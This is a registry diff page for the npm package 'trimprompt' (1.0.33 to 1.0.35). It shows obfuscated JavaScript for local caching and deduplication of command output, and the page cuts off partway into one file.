trimprompt 1.0.33 → 1.0.35

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cache-manager.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5ecef1=a0_0x16db;(function(_0x51fe76,_0x4c3e6f){const _0x1db885=a0_0x16db,_0x4ae28b=_0x51fe76();while(!![]){try{const _0x19e49e=parseInt(_0x1db885(0xa8))/0x1+-parseInt(_0x1db885(0xa9))/0x2*(-parseInt(_0x1db885(0xb8))/0x3)+parseInt(_0x1db885(0xce))/0x4*(-parseInt(_0x1db885(0xc9))/0x5)+-parseInt(_0x1db885(0xb3))/0x6*(-parseInt(_0x1db885(0xc2))/0x7)+parseInt(_0x1db885(0xc4))/0x8*(parseInt(_0x1db885(0xde))/0x9)+parseInt(_0x1db885(0xd6))/0xa+-parseInt(_0x1db885(0xc0))/0xb;if(_0x19e49e===_0x4c3e6f)break;else _0x4ae28b['push'](_0x4ae28b['shift']());}catch(_0x52c53a){_0x4ae28b['push'](_0x4ae28b['shift']());}}}(a0_0x157b,0xd9526));var __createBinding=this&&this[a0_0x5ecef1(0xdc)]||(Object[a0_0x5ecef1(0xc5)]?function(_0x527146,_0x59eb3f,_0x141a68,_0x111190){const _0x44cd6a=a0_0x5ecef1;if(_0x111190===undefined)_0x111190=_0x141a68;var _0x484db7=Object[_0x44cd6a(0xbe)](_0x59eb3f,_0x141a68);(!_0x484db7||(_0x44cd6a(0xe1)in _0x484db7?!_0x59eb3f['__esModule']:_0x484db7[_0x44cd6a(0xaf)]||_0x484db7[_0x44cd6a(0xb0)]))&&(_0x484db7={'enumerable':!![],'get':function(){return _0x59eb3f[_0x141a68];}}),Object['defineProperty'](_0x527146,_0x111190,_0x484db7);}:function(_0x10e77e,_0x32fad3,_0x174230,_0x47fb09){if(_0x47fb09===undefined)_0x47fb09=_0x174230;_0x10e77e[_0x47fb09]=_0x32fad3[_0x174230];}),__setModuleDefault=this&&this[a0_0x5ecef1(0xb1)]||(Object[a0_0x5ecef1(0xc5)]?function(_0x386409,_0x1b4115){const _0x51a4c5=a0_0x5ecef1;Object[_0x51a4c5(0xb6)](_0x386409,'default',{'enumerable':!![],'value':_0x1b4115});}:function(_0x31ac0a,_0x5ce04d){const _0x2a7a04=a0_0x5ecef1;_0x31ac0a[_0x2a7a04(0xbb)]=_0x5ce04d;}),__importStar=this&&this['__importStar']||(function(){var _0x1b79fd=function(_0x194ad8){const _0x17d7f7=a0_0x16db;return _0x1b79fd=Object[_0x17d7f7(0xae)]||function(_0x473082){const _0x58bb35=_0x17d7f7;var _0x261254=[];for(var _0x2092f7 in _0x473082)if(Object['prototype']['hasOwnProperty'][_0x58bb35(0xd9)](_0x473082,_0x2092f7))_0x261254[_0x261254['length']]=_0x2092f7;return _0x261254;},_0x1b79fd(_0x194ad8);};return function(_0x1d50c5){const _0x463383=a0_0x16db;if(_0x1d50c5&&_0x1d50c5[_0x463383(0xe0)])return _0x1d50c5;var _0x572932={};if(_0x1d50c5!=null){for(var _0x464283=_0x1b79fd(_0x1d50c5),_0x488817=0x0;_0x488817<_0x464283[_0x463383(0xba)];_0x488817++)if(_0x464283[_0x488817]!==_0x463383(0xbb))__createBinding(_0x572932,_0x1d50c5,_0x464283[_0x488817]);}return __setModuleDefault(_0x572932,_0x1d50c5),_0x572932;};}());function a0_0x157b(){const _0xbca56a=['now','99zywPoP','utf8','__esModule','get','enforceEvictionPolicy','400236Gfbfwd','1720696EmyGmF','created_at','lastAccessed','.json','endsWith','getOwnPropertyNames','writable','configurable','__setModuleDefault','parse','560502jSxOVx','readdirSync','retrieveChunk','defineProperty','statSync','6mCfQqF','toISOString','length','default','last_accessed_at','stringify','getOwnPropertyDescriptor','mkdirSync','33600039MfIXFJ','path','14pPzLvP','existsSync','1265768GhIRRk','create','birthtime','join','cache','1023705BPzvlE','update','readFileSync','unlinkSync','getTime','16szYFyB','ceil','.trimprompt','tp_chk_','isDirectory','hex','substring','size','7154660MlQhHd','sha256','writeFileSync','call','sort','saveChunk','__createBinding'];a0_0x157b=function(){return _0xbca56a;};return a0_0x157b();}function a0_0x16db(_0x2afbc1,_0x54743c){const _0x157b49=a0_0x157b();return a0_0x16db=function(_0x16dbd6,_0xeac107){_0x16dbd6=_0x16dbd6-0xa7;let _0x21df26=_0x157b49[_0x16dbd6];return _0x21df26;},a0_0x16db(_0x2afbc1,_0x54743c);}Object[a0_0x5ecef1(0xb6)](exports,a0_0x5ecef1(0xe0),{'value':!![]}),exports[a0_0x5ecef1(0xdb)]=saveChunk,exports[a0_0x5ecef1(0xb5)]=retrieveChunk,exports[a0_0x5ecef1(0xa7)]=enforceEvictionPolicy;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5ecef1(0xc1))),os=__importStar(require('os')),crypto=__importStar(require('crypto')),baseDir=path[a0_0x5ecef1(0xc7)](os['homedir'](),a0_0x5ecef1(0xd0)),cacheDir=path['join'](baseDir,a0_0x5ecef1(0xc8)),MAX_CACHE_BYTES=0x1f4*0x400*0x400,TTL_MS=0xe*0x18*0x3c*0x3c*0x3e8;function ensureCacheDir(){const _0x13729b=a0_0x5ecef1;!fs[_0x13729b(0xc3)](cacheDir)&&fs[_0x13729b(0xbf)](cacheDir,{'recursive':!![]});}function saveChunk(_0x3c4a2d,_0x466ab7,_0x4fa90b,_0x201b62){const _0x3e7eec=a0_0x5ecef1;ensureCacheDir();const _0x2b185d=crypto['createHash'](_0x3e7eec(0xd7))[_0x3e7eec(0xca)](_0x4fa90b)['digest'](_0x3e7eec(0xd3))[_0x3e7eec(0xd4)](0x0,0x8),_0x1e3873=_0x3e7eec(0xd1)+_0x2b185d,_0x429cdb=path[_0x3e7eec(0xc7)](cacheDir,_0x3c4a2d);!fs['existsSync'](_0x429cdb)&&fs[_0x3e7eec(0xbf)](_0x429cdb,{'recursive':!![]});const _0xbb8d3a=path[_0x3e7eec(0xc7)](_0x429cdb,_0x1e3873+_0x3e7eec(0xac)),_0x446112=new Date()['toISOString'](),_0x276f74=Math[_0x3e7eec(0xcf)](_0x4fa90b[_0x3e7eec(0xba)]/0x4),_0x29c23f=Math[_0x3e7eec(0xcf)](_0x201b62[_0x3e7eec(0xba)]/0x4),_0x49aedb={'chunk_id':_0x1e3873,'session_id':_0x3c4a2d,'agent_key':_0x466ab7,'raw_tokens':_0x276f74,'compressed_tokens':_0x29c23f,'created_at':_0x446112,'last_accessed_at':_0x446112,'summary':_0x201b62,'raw_payload':_0x4fa90b};return fs[_0x3e7eec(0xd8)](_0xbb8d3a,JSON['stringify'](_0x49aedb,null,0x2),_0x3e7eec(0xdf)),enforceEvictionPolicy(),_0x49aedb;}function retrieveChunk(_0x2e5ef1){const _0x427878=a0_0x5ecef1;ensureCacheDir();try{const _0x3aabca=fs[_0x427878(0xb4)](cacheDir);for(const _0x4f9b24 of _0x3aabca){const _0x3fd3ae=path[_0x427878(0xc7)](cacheDir,_0x4f9b24);if(fs[_0x427878(0xb7)](_0x3fd3ae)['isDirectory']()){const _0x21972b=path['join'](_0x3fd3ae,_0x2e5ef1+_0x427878(0xac));if(fs[_0x427878(0xc3)](_0x21972b)){const _0x3b4908=fs[_0x427878(0xcb)](_0x21972b,_0x427878(0xdf)),_0x39fef4=JSON[_0x427878(0xb2)](_0x3b4908);return _0x39fef4[_0x427878(0xbc)]=new Date()[_0x427878(0xb9)](),fs['writeFileSync'](_0x21972b,JSON[_0x427878(0xbd)](_0x39fef4,null,0x2),_0x427878(0xdf)),_0x39fef4;}}}}catch{}return null;}function enforceEvictionPolicy(){const _0x288b57=a0_0x5ecef1;ensureCacheDir();try{const _0x443a87=Date[_0x288b57(0xdd)]();let _0x4bf6bf=0x0;const _0x3f1461=[],_0x2ba81f=fs[_0x288b57(0xb4)](cacheDir);for(const _0x3c5ef1 of _0x2ba81f){const _0x3d93bb=path['join'](cacheDir,_0x3c5ef1);if(fs[_0x288b57(0xb7)](_0x3d93bb)[_0x288b57(0xd2)]()){const _0x45c5ba=fs[_0x288b57(0xb4)](_0x3d93bb);for(const _0x5d1a73 of _0x45c5ba){if(_0x5d1a73[_0x288b57(0xad)](_0x288b57(0xac))){const _0x201fb1=path['join'](_0x3d93bb,_0x5d1a73),_0x477044=fs[_0x288b57(0xb7)](_0x201fb1);try{const _0x137468=JSON['parse'](fs[_0x288b57(0xcb)](_0x201fb1,_0x288b57(0xdf))),_0x3104b4=new Date(_0x137468[_0x288b57(0xaa)]||_0x477044[_0x288b57(0xc6)])['getTime'](),_0x4c4cef=new Date(_0x137468['last_accessed_at']||_0x477044['mtime'])[_0x288b57(0xcd)]();if(_0x443a87-_0x3104b4>TTL_MS){fs[_0x288b57(0xcc)](_0x201fb1);continue;}_0x4bf6bf+=_0x477044['size'],_0x3f1461['push']({'path':_0x201fb1,'size':_0x477044[_0x288b57(0xd5)],'lastAccessed':_0x4c4cef,'createdAt':_0x3104b4});}catch{fs['unlinkSync'](_0x201fb1);}}}}}if(_0x4bf6bf>MAX_CACHE_BYTES){_0x3f1461[_0x288b57(0xda)]((_0x2dfcfc,_0xece171)=>_0x2dfcfc['lastAccessed']-_0xece171[_0x288b57(0xab)]);for(const _0x3ff63e of _0x3f1461){if(_0x4bf6bf<=MAX_CACHE_BYTES*0.8)break;try{fs[_0x288b57(0xcc)](_0x3ff63e[_0x288b57(0xc1)]),_0x4bf6bf-=_0x3ff63e[_0x288b57(0xd5)];}catch{}}}}catch{}}
1
+ 'use strict';const a0_0x308302=a0_0x2cee;(function(_0x4fbe0d,_0x2d8c71){const _0x5ededa=a0_0x2cee,_0x5ce6ff=_0x4fbe0d();while(!![]){try{const _0x594558=-parseInt(_0x5ededa(0x1f8))/0x1*(-parseInt(_0x5ededa(0x1f3))/0x2)+parseInt(_0x5ededa(0x20e))/0x3+-parseInt(_0x5ededa(0x207))/0x4+-parseInt(_0x5ededa(0x208))/0x5*(-parseInt(_0x5ededa(0x1f0))/0x6)+-parseInt(_0x5ededa(0x221))/0x7*(-parseInt(_0x5ededa(0x217))/0x8)+-parseInt(_0x5ededa(0x21b))/0x9+-parseInt(_0x5ededa(0x205))/0xa;if(_0x594558===_0x2d8c71)break;else _0x5ce6ff['push'](_0x5ce6ff['shift']());}catch(_0x3584f4){_0x5ce6ff['push'](_0x5ce6ff['shift']());}}}(a0_0x2f5f,0x7b2c3));function a0_0x2f5f(){const _0x1f51f6=['360311oXiUQJ','lastAccessed','createHash','statSync','now','isDirectory','create','.json','ceil','created_at','sort','size','birthtime','6gpvMdg','saveChunk','tp_chk_','202eaILFz','hasOwnProperty','writeFileSync','substring','readFileSync','7396ybJqcS','parse','push','__esModule','configurable','mtime','mkdirSync','unlinkSync','sha256','crypto','getTime','readdirSync','get','1973990pnmSIL','join','1114868FqyfZV','107945zpRQdj','update','writable','call','prototype','endsWith','492183rGVGJN','default','length','path','toISOString','.trimprompt','homedir','enforceEvictionPolicy','__createBinding','152uyhckB','last_accessed_at','existsSync','__importStar','8370018SczdGn','getOwnPropertyNames','__setModuleDefault','cache','defineProperty','utf8'];a0_0x2f5f=function(){return _0x1f51f6;};return a0_0x2f5f();}var __createBinding=this&&this[a0_0x308302(0x216)]||(Object[a0_0x308302(0x227)]?function(_0x33ddf8,_0x29af69,_0x178cbc,_0xbaa429){const _0x560349=a0_0x308302;if(_0xbaa429===undefined)_0xbaa429=_0x178cbc;var _0x33b23d=Object['getOwnPropertyDescriptor'](_0x29af69,_0x178cbc);(!_0x33b23d||(_0x560349(0x204)in _0x33b23d?!_0x29af69[_0x560349(0x1fb)]:_0x33b23d[_0x560349(0x20a)]||_0x33b23d[_0x560349(0x1fc)]))&&(_0x33b23d={'enumerable':!![],'get':function(){return _0x29af69[_0x178cbc];}}),Object['defineProperty'](_0x33ddf8,_0xbaa429,_0x33b23d);}:function(_0x26bed1,_0x86ef18,_0x14621b,_0x1b12d0){if(_0x1b12d0===undefined)_0x1b12d0=_0x14621b;_0x26bed1[_0x1b12d0]=_0x86ef18[_0x14621b];}),__setModuleDefault=this&&this[a0_0x308302(0x21d)]||(Object['create']?function(_0x4d23d4,_0x326498){const _0x569f3f=a0_0x308302;Object[_0x569f3f(0x21f)](_0x4d23d4,'default',{'enumerable':!![],'value':_0x326498});}:function(_0x388b9f,_0x2885b1){const _0xc7d33a=a0_0x308302;_0x388b9f[_0xc7d33a(0x20f)]=_0x2885b1;}),__importStar=this&&this[a0_0x308302(0x21a)]||(function(){var _0x2fdda5=function(_0x3f07da){const _0x3acb4e=a0_0x2cee;return _0x2fdda5=Object[_0x3acb4e(0x21c)]||function(_0x417635){const _0x4a6cd5=_0x3acb4e;var _0x100fb0=[];for(var _0x542a46 in _0x417635)if(Object[_0x4a6cd5(0x20c)][_0x4a6cd5(0x1f4)][_0x4a6cd5(0x20b)](_0x417635,_0x542a46))_0x100fb0[_0x100fb0[_0x4a6cd5(0x210)]]=_0x542a46;return _0x100fb0;},_0x2fdda5(_0x3f07da);};return function(_0x2f5a47){const _0x23f5d5=a0_0x2cee;if(_0x2f5a47&&_0x2f5a47['__esModule'])return _0x2f5a47;var _0x417c1d={};if(_0x2f5a47!=null){for(var _0x2e8e44=_0x2fdda5(_0x2f5a47),_0x2c3ab2=0x0;_0x2c3ab2<_0x2e8e44['length'];_0x2c3ab2++)if(_0x2e8e44[_0x2c3ab2]!==_0x23f5d5(0x20f))__createBinding(_0x417c1d,_0x2f5a47,_0x2e8e44[_0x2c3ab2]);}return __setModuleDefault(_0x417c1d,_0x2f5a47),_0x417c1d;};}());function a0_0x2cee(_0x6b879f,_0xac0575){_0x6b879f=_0x6b879f-0x1ed;const _0x2f5f16=a0_0x2f5f();let _0x2cee39=_0x2f5f16[_0x6b879f];return _0x2cee39;}Object[a0_0x308302(0x21f)](exports,a0_0x308302(0x1fb),{'value':!![]}),exports[a0_0x308302(0x1f1)]=saveChunk,exports['retrieveChunk']=retrieveChunk,exports[a0_0x308302(0x215)]=enforceEvictionPolicy;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),crypto=__importStar(require(a0_0x308302(0x201))),baseDir=path[a0_0x308302(0x206)](os[a0_0x308302(0x214)](),a0_0x308302(0x213)),cacheDir=path['join'](baseDir,a0_0x308302(0x21e)),MAX_CACHE_BYTES=0x1f4*0x400*0x400,TTL_MS=0xe*0x18*0x3c*0x3c*0x3e8;function ensureCacheDir(){const _0x405e07=a0_0x308302;!fs[_0x405e07(0x219)](cacheDir)&&fs[_0x405e07(0x1fe)](cacheDir,{'recursive':!![]});}function saveChunk(_0x2747e7,_0x385b3a,_0xdae41d,_0x3c1063){const _0x367c60=a0_0x308302;ensureCacheDir();const _0x20c2ed=crypto[_0x367c60(0x223)](_0x367c60(0x200))[_0x367c60(0x209)](_0xdae41d)['digest']('hex')[_0x367c60(0x1f6)](0x0,0x8),_0x1f1413=_0x367c60(0x1f2)+_0x20c2ed,_0x3f07f9=path[_0x367c60(0x206)](cacheDir,_0x2747e7);!fs[_0x367c60(0x219)](_0x3f07f9)&&fs[_0x367c60(0x1fe)](_0x3f07f9,{'recursive':!![]});const _0x35010e=path[_0x367c60(0x206)](_0x3f07f9,_0x1f1413+_0x367c60(0x228)),_0x10b37f=new Date()[_0x367c60(0x212)](),_0x3a0933=Math[_0x367c60(0x229)](_0xdae41d[_0x367c60(0x210)]/0x4),_0x20a200=Math['ceil'](_0x3c1063[_0x367c60(0x210)]/0x4),_0x22995a={'chunk_id':_0x1f1413,'session_id':_0x2747e7,'agent_key':_0x385b3a,'raw_tokens':_0x3a0933,'compressed_tokens':_0x20a200,'created_at':_0x10b37f,'last_accessed_at':_0x10b37f,'summary':_0x3c1063,'raw_payload':_0xdae41d};return fs[_0x367c60(0x1f5)](_0x35010e,JSON['stringify'](_0x22995a,null,0x2),_0x367c60(0x220)),enforceEvictionPolicy(),_0x22995a;}function retrieveChunk(_0xb338d7){const _0x1bfcc3=a0_0x308302;ensureCacheDir();try{const _0x145436=fs[_0x1bfcc3(0x203)](cacheDir);for(const _0x236822 of _0x145436){const _0x485284=path[_0x1bfcc3(0x206)](cacheDir,_0x236822);if(fs[_0x1bfcc3(0x224)](_0x485284)[_0x1bfcc3(0x226)]()){const _0x327a33=path[_0x1bfcc3(0x206)](_0x485284,_0xb338d7+'.json');if(fs[_0x1bfcc3(0x219)](_0x327a33)){const _0x412221=fs[_0x1bfcc3(0x1f7)](_0x327a33,'utf8'),_0x34dd54=JSON[_0x1bfcc3(0x1f9)](_0x412221);return _0x34dd54['last_accessed_at']=new Date()[_0x1bfcc3(0x212)](),fs[_0x1bfcc3(0x1f5)](_0x327a33,JSON['stringify'](_0x34dd54,null,0x2),_0x1bfcc3(0x220)),_0x34dd54;}}}}catch{}return null;}function enforceEvictionPolicy(){const _0x30ea15=a0_0x308302;ensureCacheDir();try{const _0x4a5721=Date[_0x30ea15(0x225)]();let _0x327520=0x0;const _0xc33c76=[],_0x2a9a38=fs['readdirSync'](cacheDir);for(const _0x5ad6ba of _0x2a9a38){const _0x5974ec=path[_0x30ea15(0x206)](cacheDir,_0x5ad6ba);if(fs[_0x30ea15(0x224)](_0x5974ec)['isDirectory']()){const _0x37171e=fs[_0x30ea15(0x203)](_0x5974ec);for(const _0x6389d2 of _0x37171e){if(_0x6389d2[_0x30ea15(0x20d)](_0x30ea15(0x228))){const _0x22bc06=path[_0x30ea15(0x206)](_0x5974ec,_0x6389d2),_0x383d59=fs[_0x30ea15(0x224)](_0x22bc06);try{const _0x47346e=JSON['parse'](fs[_0x30ea15(0x1f7)](_0x22bc06,'utf8')),_0x530932=new Date(_0x47346e[_0x30ea15(0x22a)]||_0x383d59[_0x30ea15(0x1ef)])[_0x30ea15(0x202)](),_0x37208d=new Date(_0x47346e[_0x30ea15(0x218)]||_0x383d59[_0x30ea15(0x1fd)])[_0x30ea15(0x202)]();if(_0x4a5721-_0x530932>TTL_MS){fs['unlinkSync'](_0x22bc06);continue;}_0x327520+=_0x383d59[_0x30ea15(0x1ee)],_0xc33c76[_0x30ea15(0x1fa)]({'path':_0x22bc06,'size':_0x383d59[_0x30ea15(0x1ee)],'lastAccessed':_0x37208d,'createdAt':_0x530932});}catch{fs[_0x30ea15(0x1ff)](_0x22bc06);}}}}}if(_0x327520>MAX_CACHE_BYTES){_0xc33c76[_0x30ea15(0x1ed)]((_0x25647a,_0x4b6a53)=>_0x25647a[_0x30ea15(0x222)]-_0x4b6a53[_0x30ea15(0x222)]);for(const _0x5deb5d of _0xc33c76){if(_0x327520<=MAX_CACHE_BYTES*0.8)break;try{fs[_0x30ea15(0x1ff)](_0x5deb5d[_0x30ea15(0x211)]),_0x327520-=_0x5deb5d['size'];}catch{}}}}catch{}}
package/cache.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x91095f=a0_0x28a9;(function(_0x5cd021,_0x460adf){const _0x191c03=a0_0x28a9,_0x6b3839=_0x5cd021();while(!![]){try{const _0x385614=parseInt(_0x191c03(0x178))/0x1+parseInt(_0x191c03(0x166))/0x2+parseInt(_0x191c03(0x14e))/0x3+parseInt(_0x191c03(0x180))/0x4*(parseInt(_0x191c03(0x14d))/0x5)+parseInt(_0x191c03(0x170))/0x6*(parseInt(_0x191c03(0x186))/0x7)+parseInt(_0x191c03(0x163))/0x8*(parseInt(_0x191c03(0x16b))/0x9)+parseInt(_0x191c03(0x184))/0xa*(-parseInt(_0x191c03(0x14f))/0xb);if(_0x385614===_0x460adf)break;else _0x6b3839['push'](_0x6b3839['shift']());}catch(_0x1c2a43){_0x6b3839['push'](_0x6b3839['shift']());}}}(a0_0x51ee,0x59514));var __createBinding=this&&this[a0_0x91095f(0x17d)]||(Object[a0_0x91095f(0x15d)]?function(_0x238117,_0xe4f9f6,_0x50eb3f,_0x377294){const _0x5325d5=a0_0x91095f;if(_0x377294===undefined)_0x377294=_0x50eb3f;var _0x4880ad=Object[_0x5325d5(0x183)](_0xe4f9f6,_0x50eb3f);(!_0x4880ad||(_0x5325d5(0x182)in _0x4880ad?!_0xe4f9f6[_0x5325d5(0x165)]:_0x4880ad['writable']||_0x4880ad[_0x5325d5(0x14a)]))&&(_0x4880ad={'enumerable':!![],'get':function(){return _0xe4f9f6[_0x50eb3f];}}),Object['defineProperty'](_0x238117,_0x377294,_0x4880ad);}:function(_0x2c62b0,_0x9dd660,_0xfd408,_0x34809e){if(_0x34809e===undefined)_0x34809e=_0xfd408;_0x2c62b0[_0x34809e]=_0x9dd660[_0xfd408];}),__setModuleDefault=this&&this[a0_0x91095f(0x16f)]||(Object[a0_0x91095f(0x15d)]?function(_0x5a1a31,_0x3c54e8){const _0x39ffcc=a0_0x91095f;Object[_0x39ffcc(0x189)](_0x5a1a31,'default',{'enumerable':!![],'value':_0x3c54e8});}:function(_0x1746cf,_0xe3bb73){const _0xd43b06=a0_0x91095f;_0x1746cf[_0xd43b06(0x16d)]=_0xe3bb73;}),__importStar=this&&this['__importStar']||(function(){var _0x443e5d=function(_0x438dd2){const _0x2f850c=a0_0x28a9;return _0x443e5d=Object[_0x2f850c(0x17e)]||function(_0x3cfe76){const _0x515989=_0x2f850c;var _0x7972e5=[];for(var _0x30a98c in _0x3cfe76)if(Object['prototype']['hasOwnProperty'][_0x515989(0x17b)](_0x3cfe76,_0x30a98c))_0x7972e5[_0x7972e5[_0x515989(0x162)]]=_0x30a98c;return _0x7972e5;},_0x443e5d(_0x438dd2);};return function(_0x1c98be){const _0x53ea6d=a0_0x28a9;if(_0x1c98be&&_0x1c98be[_0x53ea6d(0x165)])return _0x1c98be;var _0x1a5e41={};if(_0x1c98be!=null){for(var _0x502362=_0x443e5d(_0x1c98be),_0x5aea02=0x0;_0x5aea02<_0x502362[_0x53ea6d(0x162)];_0x5aea02++)if(_0x502362[_0x5aea02]!==_0x53ea6d(0x16d))__createBinding(_0x1a5e41,_0x1c98be,_0x502362[_0x5aea02]);}return __setModuleDefault(_0x1a5e41,_0x1c98be),_0x1a5e41;};}());Object['defineProperty'](exports,a0_0x91095f(0x165),{'value':!![]}),exports[a0_0x91095f(0x18e)]=dedup;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),crypto=__importStar(require(a0_0x91095f(0x155))),CACHE_DIR=path[a0_0x91095f(0x18b)](os['homedir'](),a0_0x91095f(0x144)),CACHE_FILE=path[a0_0x91095f(0x18b)](CACHE_DIR,'cache.json'),MAX_ENTRIES=0x12c,TTL_SECONDS={'file':0x78,'git-status':0x1e,'git-log':0x3c,'git-show':0xe10,'ls':0x3c,'tree':0x3c,'docker-ps':0x1e,'docker-images':0x3c,'kubectl':0x1e,'ruff':0x3c,'go-vet':0x3c};function classifyCommand(_0x4e4d96){const _0x3f8273=a0_0x91095f,_0x335465=_0x4e4d96[_0x3f8273(0x146)]()[_0x3f8273(0x16c)]();if(_0x335465[_0x3f8273(0x16a)](/^(cat|head|tail|read|bat)\s/))return _0x3f8273(0x191);if(_0x335465[_0x3f8273(0x169)]('git\x20status')||_0x335465[_0x3f8273(0x169)]('yadm\x20status'))return _0x3f8273(0x18f);if(_0x335465['includes'](_0x3f8273(0x15a))||_0x335465['includes'](_0x3f8273(0x154)))return _0x3f8273(0x14c);if(_0x335465[_0x3f8273(0x169)](_0x3f8273(0x173))||_0x335465[_0x3f8273(0x169)](_0x3f8273(0x152)))return _0x3f8273(0x190);if(_0x335465['match'](/^(ls|dir)(\s|$)/)||_0x335465[_0x3f8273(0x169)](_0x3f8273(0x157))||_0x335465['endsWith']('\x20ls'))return'ls';if(_0x335465['match'](/^tree(\s|$)/)||_0x335465[_0x3f8273(0x169)](_0x3f8273(0x174))||_0x335465[_0x3f8273(0x188)](_0x3f8273(0x15f)))return _0x3f8273(0x156);if(_0x335465['match'](/docker\s+ps/))return _0x3f8273(0x150);if(_0x335465['match'](/docker\s+images/))return _0x3f8273(0x176);if(_0x335465[_0x3f8273(0x169)](_0x3f8273(0x15e))||_0x335465[_0x3f8273(0x169)](_0x3f8273(0x181)))return'kubectl';if(_0x335465[_0x3f8273(0x169)](_0x3f8273(0x153))||_0x335465[_0x3f8273(0x169)]('ruff\x20'))return'ruff';if(_0x335465['includes'](_0x3f8273(0x179)))return _0x3f8273(0x145);return'';}function md5(_0x556942){const _0x3ca165=a0_0x91095f;return crypto[_0x3ca165(0x18d)](_0x3ca165(0x160))[_0x3ca165(0x151)](_0x556942)[_0x3ca165(0x15b)](_0x3ca165(0x17c));}function loadStore(){const _0x3dbeee=a0_0x91095f;try{if(fs[_0x3dbeee(0x168)](CACHE_FILE))return JSON[_0x3dbeee(0x148)](fs['readFileSync'](CACHE_FILE,_0x3dbeee(0x18a)));}catch{}return{};}function saveStore(_0x1bba05){const _0x323ded=a0_0x91095f;try{if(!fs[_0x323ded(0x168)](CACHE_DIR))fs[_0x323ded(0x177)](CACHE_DIR,{'recursive':!![]});const _0x180f4a=Object['keys'](_0x1bba05);if(_0x180f4a['length']>MAX_ENTRIES){const _0x169a8d=_0x180f4a[_0x323ded(0x167)]((_0x1cae8a,_0x540cc3)=>_0x1bba05[_0x1cae8a][_0x323ded(0x16e)]-_0x1bba05[_0x540cc3]['timestamp']);for(const _0x587588 of _0x169a8d[_0x323ded(0x185)](0x0,_0x180f4a[_0x323ded(0x162)]-MAX_ENTRIES)){delete _0x1bba05[_0x587588];}}fs[_0x323ded(0x159)](CACHE_FILE,JSON[_0x323ded(0x172)](_0x1bba05),_0x323ded(0x18a));}catch{}}function a0_0x28a9(_0x13cd2e,_0x1ebbe7){const _0x51eefb=a0_0x51ee();return a0_0x28a9=function(_0x28a994,_0x42d18d){_0x28a994=_0x28a994-0x144;let _0x339d20=_0x51eefb[_0x28a994];return _0x339d20;},a0_0x28a9(_0x13cd2e,_0x1ebbe7);}function buildSummary(_0x14f88b,_0x4c8e78){const _0xec746c=a0_0x91095f,_0x15403f=_0x14f88b[_0xec746c(0x161)]('\x0a')[_0xec746c(0x162)],_0x3e1182=_0x14f88b[_0xec746c(0x162)];if(_0x4c8e78===_0xec746c(0x191))return _0x15403f+'\x20lines,\x20'+_0x3e1182+_0xec746c(0x15c);if(_0x4c8e78==='git-status')return _0x15403f+_0xec746c(0x164);if(_0x4c8e78===_0xec746c(0x14c))return _0x15403f+_0xec746c(0x147);if(_0x4c8e78[_0xec746c(0x175)](_0xec746c(0x158)))return _0x15403f+_0xec746c(0x164);return _0x15403f+_0xec746c(0x14b)+_0x3e1182+_0xec746c(0x15c);}function a0_0x51ee(){const _0x4186f8=['docker-images','mkdirSync','261937JLULIJ','go\x20vet','s\x20ago,\x20','call','hex','__createBinding','getOwnPropertyNames','now','4bzZioX','kubectl\x20describe','get','getOwnPropertyDescriptor','10OpAawg','slice','7OzNmPk','cwd','endsWith','defineProperty','utf8','join','[cached\x20—\x20unchanged\x20since\x20','createHash','dedup','git-status','git-show','file','.trimprompt','go-vet','trim','\x20entries','parse','summary','configurable','\x20lines,\x20','git-log','1595665pjqnrZ','1765776KVovUC','23436182tKEUzz','docker-ps','update','yadm\x20show','ruff\x20check','yadm\x20log','crypto','tree','\x20ls\x20','docker','writeFileSync','git\x20log','digest','\x20chars','create','kubectl\x20get','\x20tree','md5','split','length','822712ZiwFjd','\x20lines','__esModule','1172450XgbNGr','sort','existsSync','includes','match','18bYPMzY','toLowerCase','default','timestamp','__setModuleDefault','3209046leHefW','round','stringify','git\x20show','\x20tree\x20','startsWith'];a0_0x51ee=function(){return _0x4186f8;};return a0_0x51ee();}function dedup(_0x12b3ec,_0xb34516){const _0xe90bb0=a0_0x91095f;try{const _0x1c1749=classifyCommand(_0x12b3ec);if(!_0x1c1749)return null;const _0x32f3fd=TTL_SECONDS[_0x1c1749];if(!_0x32f3fd)return null;const _0x577e05=process[_0xe90bb0(0x187)](),_0x1a373d=md5(_0x577e05+'::'+_0x12b3ec['trim']()),_0x3643df=md5(_0xb34516),_0xc7c6c3=Date[_0xe90bb0(0x17f)](),_0xda8ec6=loadStore(),_0xc16871=_0xda8ec6[_0x1a373d];if(_0xc16871&&_0xc16871['hash']===_0x3643df&&_0xc7c6c3-_0xc16871['timestamp']<_0x32f3fd*0x3e8){const _0x3a1f47=Math[_0xe90bb0(0x171)]((_0xc7c6c3-_0xc16871[_0xe90bb0(0x16e)])/0x3e8);return _0xe90bb0(0x18c)+_0x3a1f47+_0xe90bb0(0x17a)+_0xc16871[_0xe90bb0(0x149)]+']';}_0xda8ec6[_0x1a373d]={'hash':_0x3643df,'summary':buildSummary(_0xb34516,_0x1c1749),'timestamp':_0xc7c6c3,'chars':_0xb34516[_0xe90bb0(0x162)]},saveStore(_0xda8ec6);}catch{}return null;}
1
+ 'use strict';const a0_0xff340f=a0_0x4e78;(function(_0x2c1532,_0x202837){const _0x46310b=a0_0x4e78,_0x1f2a7b=_0x2c1532();while(!![]){try{const _0x36e37f=-parseInt(_0x46310b(0x188))/0x1+parseInt(_0x46310b(0x1b0))/0x2+parseInt(_0x46310b(0x1c2))/0x3*(parseInt(_0x46310b(0x19f))/0x4)+-parseInt(_0x46310b(0x1b5))/0x5+parseInt(_0x46310b(0x1a3))/0x6+-parseInt(_0x46310b(0x1bc))/0x7+parseInt(_0x46310b(0x1b6))/0x8;if(_0x36e37f===_0x202837)break;else _0x1f2a7b['push'](_0x1f2a7b['shift']());}catch(_0x51f1e1){_0x1f2a7b['push'](_0x1f2a7b['shift']());}}}(a0_0x3509,0x505fc));var __createBinding=this&&this[a0_0xff340f(0x19b)]||(Object[a0_0xff340f(0x1c0)]?function(_0x375cd3,_0x13b968,_0x2e158b,_0x2440f7){const _0x5e228e=a0_0xff340f;if(_0x2440f7===undefined)_0x2440f7=_0x2e158b;var 